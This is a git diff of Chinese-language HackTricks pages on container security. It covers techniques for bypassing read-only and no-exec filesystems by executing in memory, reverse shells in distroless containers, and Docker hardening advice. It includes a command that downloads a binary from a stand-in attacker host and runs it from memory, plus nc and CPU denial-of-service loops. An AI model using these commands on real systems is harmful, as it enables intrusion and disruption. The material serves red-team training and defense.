* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>

View file

@ -6,9 +6,9 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
@ -16,7 +16,7 @@
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要黑掉不可能黑掉的东西 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
如果您对**黑客职业**感兴趣并想要攻破不可能的 - **我们正在招聘!**(需要流利的波兰语书面和口头表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -29,7 +29,7 @@
## 只读 / 无执行场景
在Linux机器上发现**只读ro文件系统保护**变得越来越普遍,特别是在容器中。这是因为在容器中运行只读文件系统只需在`securitycontext`中设置**`readOnlyRootFilesystem: true`**即可:
在Linux机器上发现**只读ro文件系统保护**变得越来越常见,特别是在容器中。这是因为在容器中运行只读文件系统只需在`securitycontext`中设置**`readOnlyRootFilesystem: true`**即可:
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
kind: Pod
@ -44,37 +44,37 @@ securityContext:
</strong> command: ["sh", "-c", "while true; do sleep 1000; done"]
</code></pre>
然而,即使文件系统以只读方式挂载**`/dev/shm`**仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以**无执行保护**挂载,因此如果您在此处下载二进制文件,则**无法执行**。
然而,即使文件系统被挂载为只读**`/dev/shm`**仍然是可写的,因此我们可以在磁盘上写入内容。但是,此文件夹将以**无执行保护**挂载,因此如果您在此处下载二进制文件,则**无法执行**
{% hint style="warning" %}
从红队的角度来看,这使得**下载和执行**系统中不存在的二进制文件(如后门或类似`kubectl`的枚举器)变得**复杂**。
从红队的角度来看,这使得**下载和执行**系统中没有的二进制文件(如后门或类似`kubectl`的枚举器)变得**复杂**。
{% endhint %}
## 最简单的绕过方法:脚本
请注意,我提到了二进制文件,只要解释器在机器内部,您可以**执行任何脚本**,比如**shell脚本**(如果存在`sh`)或**Python脚本**(如果安装了`python`
请注意,我提到了二进制文件,只要解释器在机器内部,您可以**执行任何脚本**,比如如果`sh`存在,则可以执行**shell脚本**,如果安装了`python`,则可以执行**python脚本**
然而,这仅仅是不够的,以便执行您的二进制后门或其他可能需要运行的二进制工具。
然而,这仅仅足以执行您的二进制后门或其他可能需要运行的二进制工具。
## 内存绕过
如果您想要执行一个二进制文件,但文件系统不允许,最好的方法是**从内存中执行**,因为**保护在那里不适用**。
如果您想要执行一个二进制文件,但文件系统不允许,最好的方法是通过**从内存中执行**,因为**保护在那里不适用**。
### FD + exec系统调用绕过
如果您在机器内部有一些强大的脚本引擎,比如**Python**、**Perl**或**Ruby**,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(`create_memfd`系统调用)中,这不会受到这些保护的保护,然后调用**`exec`系统调用**,指示**fd作为要执行的文件**。
如果您在机器内部有一些强大的脚本引擎,比如**Python**、**Perl**或**Ruby**,您可以将要执行的二进制文件下载到内存中,将其存储在一个内存文件描述符(`create_memfd`系统调用)中,这不会受到这些保护的保护,然后调用**`exec`系统调用**,指示**fd作为要执行的文件**。
为此,您可以轻松使用项目[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含**使用指令对二进制文件进行解码和解压缩**的二进制文件压缩和b64编码**以及调用`create_memfd`系统调用创建的fd和调用**exec**系统调用来运行它的指令。
为此,您可以轻松使用项目[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)。您可以将二进制文件传递给它,它将生成一个以指定语言编写的脚本,其中包含**使用指令对二进制文件进行解码和解压缩**的**二进制压缩和b64编码**以及调用`create_memfd`系统调用创建的**fd**和调用**exec**系统调用来运行它的指令。
{% hint style="warning" %}
这在其他脚本语言如PHP或Node中不起作用因为它们没有任何从脚本中调用原始系统调用的**默认方**,因此无法调用`create_memfd`来创建**存储二进制文件的内存fd**。
这在其他脚本语言如PHP或Node中不起作用因为它们没有任何从脚本中调用原始系统调用的**默认方**,因此无法调用`create_memfd`来创建**存储二进制文件的内存fd**。
此外,在`/dev/shm`中创建一个**常规fd**中的文件是行不通的,因为您将无法运行它,因为**无执行保护**将适用。
{% endhint %}
### DDexec / EverythingExec
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)是一种技术,允许您通过覆盖其**`/proc/self/mem`**来**修改自己进程内存**。
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)是一种技术,允许您通过覆盖其**`/proc/self/mem`**来**修改自己进程内存**。
因此,通过**控制进程执行的汇编代码**,您可以编写一个**shellcode**并“变异”进程以**执行任意代码**。
@ -93,7 +93,7 @@ wget -O- https://attacker.com/binary.elf | base64 -w0 | bash ddexec.sh argv0 foo
### Memdlopen
与DDexec有类似目的,[**memdlopen**](https://github.com/arget13/memdlopen)技术允许以**更简单的方式**将二进制文件加载到内存中以后执行。甚至可以加载具有依赖关系的二进制文件。
与DDexec有类似目的[**memdlopen**](https://github.com/arget13/memdlopen)技术允许以**更简单的方式**将二进制文件加载到内存中以后执行。甚至可以加载具有依赖关系的二进制文件。
## Distroless Bypass
@ -111,7 +111,7 @@ Distroless容器的目标是通过消除不必要的组件**减少容器的攻
因此,您**将无法**像通常那样获得**反向shell**或**枚举**系统。
{% endhint %}
但是如果受损的容器例如正在运行flask web则已安装python因此您可以获取**Python反向shell**。如果正在运行node则可以获取Node反向shell大多数任何**脚本语言**都可以。
但是如果受损的容器例如正在运行flask web则已安装python因此您可以获取**Python反向shell**。如果正在运行node则可以获取Node反向shell大多数任何**脚本语言**都可以。
{% hint style="success" %}
使用脚本语言,您可以使用语言功能**枚举系统**。
@ -120,14 +120,14 @@ Distroless容器的目标是通过消除不必要的组件**减少容器的攻
如果没有**`只读/无执行`**保护您可以滥用反向shell在文件系统中**写入您的二进制文件**并**执行**它们。
{% hint style="success" %}
但是,在这种类型的容器中,这些保护通常存在,但您可以使用**先前的内存执行技术来绕过它们**。
但是,在这种类型的容器中,这些保护通常存在,但您可以使用**先前的内存执行技术来绕过它们**。
{% endhint %}
您可以在[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)中找到如何**利用一些RCE漏洞**获取脚本语言**反向shell**并从内存中执行二进制文件的**示例**。
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果您对**黑客职业**感兴趣并想要黑掉无法黑掉的 - **我们正在招聘!**(需要流利的波兰语书面和口语能力)。
如果您对**黑客职业**感兴趣并想要黑入不可黑入的 - **我们正在招聘!**(需要流利的波兰语书面和口语)。
{% embed url="https://www.stmcyber.com/careers" %}
@ -139,7 +139,7 @@ Distroless容器的目标是通过消除不必要的组件**减少容器的攻
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧**。

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs收藏品](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFT收藏品](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -22,9 +22,9 @@
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
## **基本Docker引擎安全**
## **基本Docker引擎安全**
**Docker引擎**利用Linux内核的**Namespaces**和**Cgroups**来隔离容器,提供基本的安全层。通过**Capabilities dropping**、**Seccomp**和**SELinux/AppArmor**提供额外的保护,增强容器隔离性。**认证插件**可以进一步限制用户操作。
**Docker引擎**利用Linux内核的**命名空间**和**Cgroups**来隔离容器,提供基本的安全层。通过**Capabilities dropping**、**Seccomp**和**SELinux/AppArmor**提供额外的保护,增强容器隔离性。**认证插件**可以进一步限制用户操作。
![Docker安全](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
@ -32,7 +32,7 @@
Docker引擎可以通过Unix套接字本地访问也可以通过HTTP远程访问。对于远程访问必须使用HTTPS和**TLS**来确保机密性、完整性和身份验证。
默认情况下Docker引擎在Unix套接字`unix:///var/run/docker.sock`上监听。在Ubuntu系统上Docker的启动选项定义在`/etc/default/docker`中。要允许远程访问Docker API和客户端通过添加以下设置将Docker守护程序暴露在HTTP套接字上
默认情况下Docker引擎在Unix套接字上侦听`unix:///var/run/docker.sock`。在Ubuntu系统上Docker的启动选项定义在`/etc/default/docker`中。要启用对Docker API和客户端的远程访问请添加以下设置以通过HTTP套接字公开Docker守护程序
```bash
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
sudo service docker restart
@ -94,9 +94,9 @@ Docker镜像签名确保容器中使用的镜像的安全性和完整性。以
- **Docker内容信任**利用Notary项目基于The Update Framework (TUF),来管理镜像签名。有关更多信息,请参阅[Notary](https://github.com/docker/notary)和[TUF](https://theupdateframework.github.io)。
- 要激活Docker内容信任请设置`export DOCKER_CONTENT_TRUST=1`。此功能在Docker版本1.10及更高版本中默认关闭。
- 启用此功能后,只能下载已签名的镜像。初始镜像推送需要为根密钥和标记密钥设置密码Docker还支持Yubikey以提高安全性。更多详细信息可在[此处](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
- 启用此功能后,只能下载已签名的镜像。首次镜像推送需要为根密钥和标记密钥设置密码Docker还支持Yubikey以提高安全性。更多详细信息可在[此处](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)找到。
- 在启用内容信任的情况下尝试拉取未签名的镜像会导致“最新版本无信任数据”错误。
- 对于第一次之后的镜像推送Docker会要求输入存储库密钥的密码以对镜像进行签名
- 对于第一次之后的镜像推送Docker会要求输入存储库密钥的密码以签署镜像
要备份您的私钥,请使用以下命令:
```bash
@ -106,10 +106,10 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
***
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,利用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -120,15 +120,15 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
<summary>容器安全功能摘要</summary>
#### 主要进程隔离功能
**主要进程隔离功能**
在容器化环境中,隔离项目及其进程对于安全和资源管理至关重要。以下是关键概念的简化解释:
在容器化环境中,隔离项目及其进程对于安全和资源管理至关重要。以下是关键概念的简化解释:
**命名空间**
* **目的**确保资源如进程、网络和文件系统的隔离。特别是在Docker中命名空间使容器的进程与主机和其他容器分开。
* **使用`unshare`**:使用`unshare`命令或底层系统调用来创建新的命名空间提供额外的隔离层。然而尽管Kubernetes本身不会阻止此操作但Docker会。
* **限制**:创建新的命名空间不允许进程恢复到主机的默认命名空间。要穿透主机命名空间,通常需要访问主机的`/proc`目录,并使用`nsenter`进行进入。
* **目的**确保资源如进程、网络和文件系统的隔离。特别是在Docker中命名空间容器的进程与主机和其他容器分开。
* **使用`unshare`**:使用`unshare`命令(或底层系统调用)来创建新的命名空间,提供额外的隔离层。然而尽管Kubernetes本身不会阻止这一点但Docker会。
* **限制**:创建新的命名空间不允许进程恢复到主机的默认命名空间。要透主机命名空间,通常需要访问主机的`/proc`目录,并使用`nsenter`进行进入。
**控制组CGroups**
@ -138,9 +138,9 @@ tar -zcvf private_keys_backup.tar.gz ~/.docker/trust/private
**能力降权**
* **重要性**:这是进程隔离的关键安全功能。
* **功能**:通过放弃某些能力,限制根进程可以执行的操作。即使进程以root权限运行,缺乏必要的能力也会阻止其执行特权操作,因为由于权限不足,系统调用将失败。
* **功能**:通过放弃某些能力,限制根进程可以执行的操作。即使进程以权限运行,缺乏必要的能力也会阻止其执行特权操作,因为由于权限不足,系统调用将失败。
是进程放弃其他能力后的**剩余能力**
这是进程放弃其他能力后的**剩余能力**
{% code overflow="wrap" %}
```
@ -163,7 +163,7 @@ Docker有一个可以激活的模板[https://github.com/moby/moby/tree/master
### 命名空间
**命名空间**是Linux内核的一个特性**将内核资源分区**,使得一组**进程**看到一组**资源**,而**另一组**进程看到**不同**的资源。该特性通过为一组资源和进程使用相同的命名空间,但这些命名空间指向不同的资源来实现。资源可以存在于多个空间中。
**命名空间**是Linux内核的一个功能**将内核资源分区**,使得一组**进程**看到一组**资源**,而**另一组**进程看到**不同**的资源。该功能通过为一组资源和进程使用相同的命名空间,但这些命名空间指向不同的资源来实现。资源可以存在于多个空间中。
Docker利用以下Linux内核命名空间来实现容器隔离
@ -192,11 +192,11 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
ps -ef | grep 1234 #Get info about the sleep process
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
```
### 权限
### 权限提升
权限允许对根用户允许的权限进行更精细的控制。Docker使用Linux内核功能来限制容器内可以执行的操作无论用户类型如何。
权限提升允许对root用户可以允许的权限进行更精细的控制。Docker使用Linux内核的权限功能来限制容器内可以执行的操作,无论用户类型如何。
当运行Docker容器时进程会放弃敏感权限这些权限可能被进程用来逃离隔离。这样可以确保进程无法执行敏感操作并逃脱:
当运行Docker容器时进程会放弃敏感权限这些权限可用来逃离隔离。这样可以确保进程无法执行敏感操作并逃脱:
[linux-capabilities.md](../linux-capabilities.md)
@ -208,25 +208,25 @@ ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the
### Docker中的AppArmor
AppArmor是一个内核增强功能用于将容器限制在一组有限的资源和每个程序的配置文件中
AppArmor是一个内核增强功能用于将容器限制在一组有限的资源和每个程序的配置文件中
[apparmor.md](apparmor.md)
### Docker中的SELinux
* **标签系统**SELinux为每个进程和文件系统对象分配唯一标签。
* **策略执行**:它执行定义了进程标签在系统中可以对其他标签执行哪些操作的安全策略。
* **容器进程标签**当容器引擎启动容器进程时它们通常被分配一个受限SELinux标签通常是`container_t`。
* **容器内的文件标签**:容器内的文件通常被标记为`container_file_t`。
* **策略规则**SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件交互(读取、写入、执行)。
* 标签系统SELinux为每个进程和文件系统对象分配唯一标签。
* 策略执行:它执行定义了进程标签在系统中可以对其他标签执行什么操作的安全策略。
* 容器进程标签当容器引擎启动容器进程时它们通常被分配一个受限SELinux标签通常是`container_t`。
* 容器内的文件标签:容器内的文件通常被标记为`container_file_t`。
* 策略规则SELinux策略主要确保具有`container_t`标签的进程只能与标记为`container_file_t`的文件交互(读取、写入、执行)。
这种机制确保即使容器内的进程被入侵,也仅限于与具有相应标签的对象交互,从而显著限制了此类妥协可能造成的潜在损害。
这种机制确保即使容器内的进程受到损害,也仅限于与具有相应标签的对象交互,从而显著限制了此类妥协可能造成的潜在损害。
[selinux.md](../selinux.md)
### AuthZ & AuthN
在Docker中授权插件通过检查两个关键上下文来决定是否允许或阻止对Docker守护程序的请求。这一决定是通过检查两个关键上下文来做出的
在Docker中授权插件通过决定是否允许或阻止对Docker守护程序的请求发挥着关键作用。这一决定是通过检查两个关键上下文来做出的:
* **认证上下文**:包括有关用户的全面信息,例如他们是谁以及他们如何进行身份验证。
* **命令上下文**:包括与正在进行的请求相关的所有相关数据。
@ -237,7 +237,7 @@ AppArmor是一个内核增强功能用于将容器限制在一组有限的资
## 容器中的DoS
如果正确限制容器可以使用的资源受损的容器可能会对其运行的主机进行DoS攻击。
如果您没有正确限制容器可以使用的资源受损的容器可能会对其运行的主机进行DoS攻击。
* CPU DoS
```bash
@ -265,7 +265,7 @@ nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444;
#### no-new-privileges
如果您正在运行一个容器,攻击者以低权限用户的身份获得访问权限。如果您有一个**配置错误的suid二进制文件**,攻击者可能会滥用它,并在容器内**升级权限**。这可能允许他逃离容器。
如果您正在运行一个容器,攻击者设法以低权限用户的身份访问。如果您有一个**配置错误的suid二进制文件**,攻击者可能会滥用它并**在容器内提升权限**。这可能使他能够逃离容器。
使用启用了**`no-new-privileges`**选项运行容器将**防止这种特权升级**。
```
@ -286,13 +286,15 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv
# You can manually disable selinux in docker with
--security-opt label:disable
```
要查看更多**`--security-opt`**选项,请访问:[https://docs.docker.com/engine/reference/run/#security-configuration](https://docs.docker.com/engine/reference/run/#security-configuration)
## 其他安全考虑
### 管理机密信息:最佳实践
避免直接将机密信息嵌入Docker镜像或使用环境变量是至关重要的因为这些方法会将您的敏感信息暴露给通过诸如`docker inspect`或`exec`命令访问容器的任何人。
避免直接嵌入Docker镜像或使用环境变量存储机密信息至关重要因为这些方法会使您的敏感信息暴露给通过诸如`docker inspect`或`exec`命令访问容器的任何人。
**Docker卷**是一个更安全的替代方案,推荐用于访问敏感信息。它们可以被用作临时内存中的文件系统,减轻了与`docker inspect`和日志记录相关的风险。然而root用户和那些具有对容器的`exec`访问权限的用户仍然可以访问这些机密信息。
**Docker卷**是一个更安全的替代方案,建议用于访问敏感信息。它们可以被用作内存中的临时文件系统,减轻了与`docker inspect`和日志记录相关的风险。但是root用户和具有对容器的`exec`访问权限的用户仍然可以访问这些机密信息。
**Docker机密**提供了一种更安全的处理敏感信息的方法。对于在镜像构建阶段需要机密信息的情况,**BuildKit**提供了一个高效的解决方案,支持构建时机密信息,提高构建速度并提供额外功能。
@ -306,7 +308,7 @@ BuildKit允许使用`--secret`选项使用构建时机密信息,确保这些
```bash
docker build --secret my_key=my_value ,src=path/to/my_secret_file .
```
对于运行容器中需要的机密信息,**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 利用服务定义中的 `secrets` 键来指定机密文件,如在 `docker-compose.yml` 示例中所示:
对于运行容器中需要的机密信息,**Docker Compose 和 Kubernetes** 提供了强大的解决方案。Docker Compose 利用服务定义中的 `secrets` 键来指定机密文件,示例在 `docker-compose.yml` 中展示:
```yaml
version: "3.7"
services:
@ -325,13 +327,13 @@ file: ./my_secret_file.txt
### gVisor
**gVisor**是一个用Go编写的应用程序内核实现了Linux系统表面的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成使得运行沙盒容器变得简单。
**gVisor**是一个用Go编写的应用内核实现了Linux系统表面的大部分功能。它包括一个名为`runsc`的[Open Container Initiative (OCI)](https://www.opencontainers.org)运行时,提供了应用程序和主机内核之间的**隔离边界**。`runsc`运行时与Docker和Kubernetes集成使得运行沙盒容器变得简单。
{% embed url="https://github.com/google/gvisor" %}
### Kata Containers
**Kata Containers**是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和执行像容器,但通过硬件虚拟化技术提供**更强大的工作负载隔离**作为第二层防御。
**Kata Containers**是一个开源社区,致力于构建一个安全的容器运行时,使用轻量级虚拟机,感觉和表现类似于容器,但通过硬件虚拟化技术提供**更强大的工作负载隔离**作为第二层防御。
{% embed url="https://katacontainers.io/" %}
@ -340,21 +342,21 @@ file: ./my_secret_file.txt
* **不要使用`--privileged`标志或在容器内挂载** [**Docker套接字**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**。** Docker套接字允许生成容器因此通过使用`--privileged`标志运行另一个容器是获取主机完全控制的简单方法。
* **不要在容器内以root身份运行。使用** [**不同的用户**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **和** [**用户命名空间**](https://docs.docker.com/engine/security/userns-remap/)**。**容器内的root与主机上的root相同除非使用用户命名空间重新映射。它仅受到轻微限制主要是由Linux命名空间、功能和cgroups限制。
* [**放弃所有功能**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`),仅启用所需功能** (`--cap-add=...`)。许多工作负载不需要任何功能,添加功能会增加潜在攻击的范围。
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **防止进程获取更多权限例如通过suid二进制文件。
* [**使用“no-new-privileges”安全选项**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) **防止进程获取更多权限例如通过suid二进制文件。**
* [**限制容器可用的资源**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**。**资源限制可以保护机器免受拒绝服务攻击。
* **调整** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **或SELinux**配置文件,将容器可用的操作和系统调用限制为最低要求。
* **使用** [**官方Docker镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或者基于它们构建自己的镜像。不要继承或使用[后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。同时将根密钥、密码存储在安全位置。Docker计划使用UCP管理密钥。
* **使用** [**官方Docker镜像**](https://docs.docker.com/docker-hub/official_images/) **并要求签名**,或者基于它们构建自己的镜像。不要继承或使用[后门](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/)镜像。还要将根密钥、密码存储在安全位置。Docker计划使用UCP管理密钥。
* **定期** **重建**您的镜像以**应用安全补丁到主机和镜像**
* 明智地管理您的**secrets**,使攻击者难以访问它们。
* 如果**暴露Docker守护程序请使用HTTPS**进行客户端和服务器身份验证。
* 在Dockerfile中**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY不具备这些功能。尽量避免使用ADD以免通过远程URL和Zip文件受到攻击
* 每个微服务**使用单独的容器**
* 在Dockerfile中**优先使用COPY而不是ADD**。ADD会自动解压缩文件并可以从URL复制文件。COPY不具备这些功能。尽量避免使用ADD以免受到通过远程URL和Zip文件进行攻击的影响
* 每个微服务**使用单独的容器**
* **不要在容器内放置ssh**“docker exec”可用于ssh到容器。
* 使用**更小**的容器**镜像**
## Docker越狱/权限提升
如果您**在Docker容器内**或者拥有**docker组中的用户访问权限**,您可以尝试**逃逸和提升权限**
如果您**在Docker容器内**或者拥有**docker组中的用户访问权限**,您可以尝试**越狱和提升权限**
{% content-ref url="docker-breakout-privilege-escalation/" %}
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
@ -362,7 +364,7 @@ file: ./my_secret_file.txt
## Docker身份验证插件绕过
如果您可以访问Docker套接字或者拥有**docker组中的用户访问权限但您的操作受到Docker身份验证插件的限制**,请检查是否可以**绕过它**
如果您可以访问docker套接字或者拥有**docker组中的用户访问权限但您的操作受到docker身份验证插件的限制**,请检查是否可以**绕过它**
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
@ -370,7 +372,7 @@ file: ./my_secret_file.txt
## 加固Docker
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个检查在生产环境中部署Docker容器周围几十种常见最佳实践的脚本。这些测试都是自动化的,基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
* 工具[**docker-bench-security**](https://github.com/docker/docker-bench-security)是一个脚本检查在生产环境中部署Docker容器时的数十种常见最佳实践。所有测试都是自动化的,基于[CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/)。\
您需要从运行Docker的主机或具有足够权限的容器中运行该工具。了解如何在README中运行它[**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security)。
## 参考资料
@ -389,7 +391,7 @@ file: ./my_secret_file.txt
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进的**社区工具。\
@ -400,7 +402,7 @@ file: ./my_secret_file.txt
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)

View file

@ -1,4 +1,4 @@
# Docker逃逸 / 特权升
# Docker逃逸 / 特权
<details>
@ -9,15 +9,15 @@
